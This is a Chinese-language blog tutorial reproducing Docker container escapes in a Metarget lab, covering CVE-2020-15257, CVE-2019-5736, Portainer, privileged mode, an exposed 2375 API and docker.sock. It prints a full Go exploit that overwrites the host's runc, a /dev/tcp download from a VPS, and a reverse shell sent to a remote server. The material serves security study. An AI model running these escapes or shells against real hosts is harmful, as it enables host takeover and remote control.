Docker常见的安全问题复现

发布时间:2023年12月28日

Docker是一个开源的应用容器引擎,它可以让用户将应用打包,并依赖包到可移植的容器中。然而,Docker也存在着安全问题。
Docker攻击模型:
image.png

  • case1:应用攻击容器
  • case2:容器攻击其它容器
  • case3:容器攻击宿主机
  • case4:主机攻击容器

漏洞环境

由于各种各样的原因(相关文档缺乏、背景知识不足、网络环境差等),我们经常会发现“环境搭建”这个步骤本身就会占用大量的时间。与之相比,真正测试PoC、ExP的时间可能非常短,所以漏洞环境选择绿盟安全研究人员开发的靶场Metarget项目。

https://github.com/Metarget/metarget

#要求
Ubuntu 16.04或18.04(推荐)
python >= 3.6 (不支持python 2.x)

#安装
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt

#安装指定版本的docker版本
./metarget gadget install docker --version 18.03.1

#安装指定版本的Kubernetes
./metarget gadget install k8s --version 1.16.5

识别Docker容器的常见方法

当安全人员拿到一个主机的权限后,需要判断该主机权限所在的环境是不是docker环境。

  • ls -alh /.dockerenv

/.dockerenv是所有容器中都会存在的一个文件,这个文件曾经是LCX用于环境变量加载到容器中,现在容器不再使用LCX,所以内容为空。

image.png

  • cat /proc/1/cgroup | grep “docker”

Linux CGroup(Linux Contral Group),它其实是Linux内核的一个功能,它是Linux下的一种将进程按组进行管理的机制。为了限制Docker资源,Docker为每个容器创建了一个控制组以及一个名为Docker的父控制组,如果某个进程在Docker容器中启动,则该进程将必须在该容器控制中,所以通过查看初始进程的cgroup来验证是否为容器,Docker环境中的cgroup文件普遍存在docker字段,真实Linux环境中不存在docker字段。

image.png

  • ps aux

在容器中查看进程,会发现进程相当少,和真实环境相差较大

容器中:
image.png
真实环境:
image.png

Docker逃逸

关于Docker主要从容器自身漏洞、容器配置不当等方面进行介绍

容器漏洞

CVE-2020-15257

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在版本1.3.9之前和1.4.0~1.4.2的Container中,使用 --host 网络模式,会造成containerd-shim API暴露,通过调用API功能实现逃逸。此模式直接使用宿主机网卡和IP地址,导致容器和宿主机共享一套Network namespace。

  • 漏洞环境安装
#安装漏洞环境
./metarget cnv install cve-2020-15257
#启动漏洞环境
docker run -it --net=host --name=15257 ubuntu /bin/bash
  • 判断是否使用host模式
#在容器内使用该命令可看到抽象命名空间Unix域套接字
cat /proc/net/unix | grep 'containerd-shim'

image.png

  • 利用cdk工具进行自动化逃逸,反弹宿主机的shell到远端服务器,如果容器没有curl、wget命令,可以通过下面这个方式下发CDK
#公网VPS开启NC
nc -lvp 999 < cdk

#容器运行写入
cat < /dev/tcp/(VPS_IP)/(port) > cdk 
chmod a+x cdk

#反弹宿主机的shell到远端服务器
./cdk run shim-pwn reverse vps_ip 8888

成功反弹宿主机权限到远端服务器:
image.png

CVE-2019-5736

在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,因此可以感觉以root的身份执行命令,导致获得宿主机的root权限。runC漏洞的前提是需要docker exec、attach时才会触发漏洞,攻击者可以修改runC的二进制文件导致提权,需要管理员执行exec才能触发,利用条件有限。

  • 漏洞环境安装
#安装漏洞环境
./metarget cnv install cve-2019-5736

#启动环境
docker run -it ubuntu:18.04
  • 编译poc

https://github.com/Frichetten/CVE-2019-5736-PoC

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}
  • 使用go对poc进行编译
  • 将编译好的poc,复制进容器/home目录下
#将poc复制到容器中
docker cp main name:/home
#进入容器,赋予poc文件执行权限
chmod 777 main
#执行
./main

image.png

  • 现在假设以管理员身份使用docker exec进入容器
docker ps
docker exec -it 483db4e388b4 /bin/bash

image.png

  • 此时,在容器中可以看到容器中的main脚本已经被执行。

image.png

  • 可以将poc中的payload修改为反弹shell的payload,如果成功执行,将获得宿主机的权限。
Portainer后台(逃逸)

Portainer是一个可视化的容器镜像的图形管理工具,利用Portainer可以轻松构建、管理和维护Docker环境,而且完全免费,基于容器化的安装方式,方便高效部署。
安装成功后,后台没有默认账号密码,当第一次登录系统时会提示设置新密码。

  • 在具有docker的机器上下载portainer
#搜索portainer镜像
docker search portainer

#拉取portainer镜像
docker pull portainer/portainer

#启动portainer镜像
docker run -d -p 9000:9000 --restart=always \
-v /var/run/docker.sock:/var/run/docker.sock \
--name portainer portainer/portainer
  • 访问9000端口

image.png
image.png

  • 进入容器中,添加新容器

image.png

  • 进入到后台界面

image.png

  • 给新容器命名并添加镜像

image.png

  • 下滑找到Advanced container settings,并将console选项选为Interactive & TTY

image.png

  • 在Volumes中将根目录挂载到容器中

image.png

  • 点击Deploy the container按钮进行部署

image.png

  • 选择刚刚创建好的镜像,选择/bin/sh进入到终端。

image.png

  • 进入终端,输入ls /host 、chroot /host bash,如图所示,已成功通过chroot切换bash,逃逸到宿主机中。

image.png

配置不当

特权模式

特权模式逃逸是一种最简单有效的逃逸方法,该漏洞的原理是宿主机使用root用户或使用sudo命令启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载到容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划等逃逸到宿主机。

  • 当容器启动加上 --privileged选项时,容器可以访问宿主机上磁盘设备
#使用docker拉取ubuntu:18.04镜像
docker pull ubuntu:18.04

#启动特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 /bin/bash
  • 判断当前容器是否是特权启动 cat /proc/self/status | grep CapEff

查看CapEff值,特权值为:0000003fffffffff
image.png

  • 可以创建一个挂载目录 mkdir /tmp/hosts
  • 查看宿主机磁盘文件 fdisk -l

image.png

  • 挂载到创建的目录
mount /dev/sda1 /tmp/hosts
  • 进入到/tmp/hosts目录,通过chroot切换bash

chroot ./ bash

  • 此时,已成功逃逸到宿主机

image.png

Docker API未授权访问

该漏洞起因是因为使用Docker Swarm时,管理的docker 节点上便会开放一个TCP端口2375/2376,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者可以通过Doker未授权来控制服务器。
在最初版本安装Docker时会默认把2375端口对外开放,目前默认允许本地访问

  • 首先需要开启contianerd服务

containerd

  • 查看服务状态

systemctl status containerd

image.png

  • 开启远程访问

vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 containerd=/run/containerd/containerd.sock

  • 开启后进行重启操作

systemctl daemon-reload
systemctl restart docker

image.png

  • docker -H tcp://IP:2375 info

image.png

  • 利用容器创建一个拥有特权的容器,挂载宿主机进行逃逸
#连接
export DOCKER_HOST="tcp://123.123.123.123:2375"

#创建一个容器并具有特殊权限和挂载宿主机目录
docker -H tcp://192.168.30.50:2375 run -it --privileged alpine

#这时可通过特权模式进行逃逸
mkdir /tmp/zkaw/
fdisk -l
mount /dev/dm-0 /tmp/zkaw
cd /tmp/zkaw

#通过chroot切换bash
chroot ./ bash

image.png

Docker Socket

Docker架构相当于C/S架构,docker即为client,Server端的角色由docker daemon扮演,二者之间的通信方式有以下三种:

  • unix:///var/run/docker.sock(默认)
  • tcp://host:port
  • fd://socketfd

该方式主要为在容器中寻找docker.sock文件,利用此文件与宿主机建立交互。

#查找docker.sock
find / -name docker.sock 2>/dev/null

#连接
docker -H unix:///run/docker.sock info

#注意事项
通常进入容器中是没有docker客户端的,如果出网可在线安装:apt-get install docker.io

参考连接:
https://www.secrss.com/articles/18752
https://zhuanlan.zhihu.com/p/474373366
https://juejin.cn/post/7156844201522429988
https://blog.csdn.net/SHELLCODE_8BIT/article/details/124037215
https://github.com/cdk-team/CDK

文章来源:https://blog.csdn.net/weixin_45910629/article/details/135232242
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。